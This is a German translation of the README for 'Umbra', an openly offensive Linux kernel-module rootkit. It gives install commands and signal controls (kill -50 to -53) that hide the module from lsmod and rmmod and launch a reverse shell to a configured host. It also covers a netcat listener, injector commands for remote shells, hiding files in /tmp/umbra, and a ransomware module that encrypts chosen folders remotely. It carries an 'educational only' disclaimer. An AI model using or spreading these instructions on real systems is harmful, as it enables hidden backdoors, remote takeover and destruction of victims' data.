
Ein LKM-Rootkit, das auf 4.x- und 5.x-Kernelversionen abzielt und eine Hintertür öffnet, die eine Reverse Shell zu einem entfernten Host starten, Malware ausführen und mehr kann.

Umbra ist ein experimentelles, fernsteuerbares LKM-Rootkit für Kernel 4.x und 5.x (bis 5.7), das eine Netzwerk-Backdoor öffnet, mit der Reverse Shells zu entfernten Hosts gestartet, Malware aus der Ferne ausgeführt und vieles mehr werden kann.
Das Rootkit befindet sich noch in der Entwicklung, obwohl die unten aufgeführten Funktionen bereits voll funktionsfähig sind.

Hinweis: Dieses Rootkit wurde mit Kernel 5.4.0 und Ubuntu 18.04 entwickelt und getestet.

Weitere Funktionen werden in späteren Updates folgen.
Dieses Rootkit dient ausschließlich Bildungszwecken. Ich übernehme keine Verantwortung für Schäden, die durch unbeabsichtigte Verwendung entstehen.
Beachte außerdem, dass Umbra nur leichte Versteck- und Schutzmechanismen enthält. Es ist nicht für den Einsatz in einem realen Szenario gedacht.
WICHTIG: Wenn du dieses Rootkit auf deinem eigenen Rechner testest, empfehle ich dringend, eine VM zu verwenden.
Zu den Umbra-Modulen: Das Ransom-Modul verwendet einen trivialen Verschlüsselungsmechanismus, kann aber definitiv jeden Ordner auf deinem Rechner verschlüsseln. Obwohl Dateien leicht entschlüsselt werden können, empfehle ich auf keinen Fall, dies auf deinem Root-Ordner oder Ähnlichem auszuführen, außer in einer kontrollierten Umgebung.
Denke daran, dass du einen 4.x- oder 5.x-Kernel verfügbar haben solltest.
apt install linux-headers-$(uname -r)
Konfiguriere deinen Include-Pfad so, dass er das Kernel-Header-Verzeichnis abdeckt (normalerweise unter /usr/src). Wenn du vscode verwendest, kannst du in .vscode/c_cpp_properties.json ein Beispiel dafür sehen, welche Verzeichnisse aufgenommen werden.
Klone das Projekt
git clone https://github.com/h3xduck/Umbra.git
cd Umbra
make
sudo ./install.sh
Wenn du das Skript bereits ausgeführt hast und Umbra nur im Kernel installieren möchtest, kannst du Folgendes ausführen:
sudo insmod ./umbra.ko
Stelle sicher, dass sich Umbra nicht im unsichtbaren Modus befindet, da dies sonst fehlschlägt.
sudo rmmod umbra
kill -50 1
Trage deine gewünschte IP und deinen Port vor dem Erstellen des Rootkits in CONFIG.H ein. Standardmäßig 127.0.0.1:5888
Beginne auf dem entfernten Host mit dem Lauschen.
nc -lvp 5888
kill -51 1
Hinweis: Umbra versucht auch beim Laden die Reverse Shell zu starten.
Dies verhindert, dass das Rootkit von Befehlen wie lsmod angezeigt oder per rmmod entfernt wird.
kill -52 1
Dies macht den unsichtbaren Modus rückgängig, falls er aktiv ist.
kill -53 1
Der Umbra Injector kann entweder ausgeführt werden, bevor Umbra installiert ist (man erhält die Shell dann, sobald es aktiv ist), oder nachdem Umbra auf dem Zielsystem installiert ist.
./injector -S 127.0.0.1
Die Backdoor lauscht auf Pakete mit folgender Nutzlast:
UMBRA_PAYLOAD_GET_REVERSE_SHELL.
Du kannst deinen eigenen Injector auch mit meiner Bibliothek RawTCP erstellen.
Dies verhindert, dass das Rootkit von Befehlen wie lsmod angezeigt oder per rmmod entfernt wird.
./injector -i 127.0.0.1
Dies macht den unsichtbaren Modus rückgängig, falls er aktiv ist.
./injector -u 127.0.0.1
Die vollständigen Informationen zur Verwendung des Umbra Injectors erhältst du mit:
./injector -h
Die Umbra-Module werden vom Skript install.sh in /tmp/umbra gespeichert, wo Umbra sie versteckt. Das Verzeichnis wird von Befehlen wie ls oder Ähnlichem nicht angezeigt.
Dieses Modul kann über den Umbra Injector ferngesteuerte, ransomware-artige Angriffe starten. Verschlüsselte Dateien erscheinen mit der Endung .ubr.
Derzeit ist der Verschlüsselungsmechanismus ein einfaches Bit-Level-NOP als Proof of Concept. Du kannst das Modul bearbeiten, um deinen eigenen Verschlüsselungsalgorithmus einzubauen.
./injector -p /Your/Path/To/Encrypt -e 127.0.0.1
./injector -p /Your/Path/To/Decrypt -d 127.0.0.1
Die Entwicklung dieses Rootkits erforderte umfangreiche Recherchen zu LKMs und Rootkit-Techniken. Die folgende Liste ist eine unvollständige Aufstellung der Quellen, die ich verwendet habe: So erstellst du LKMs:
Linux-Syscall-Referenz:
Einige Rootkit-Referenzen:
Dieses Projekt ist unter der GPLv2-Lizenz lizenziert. Siehe LICENSE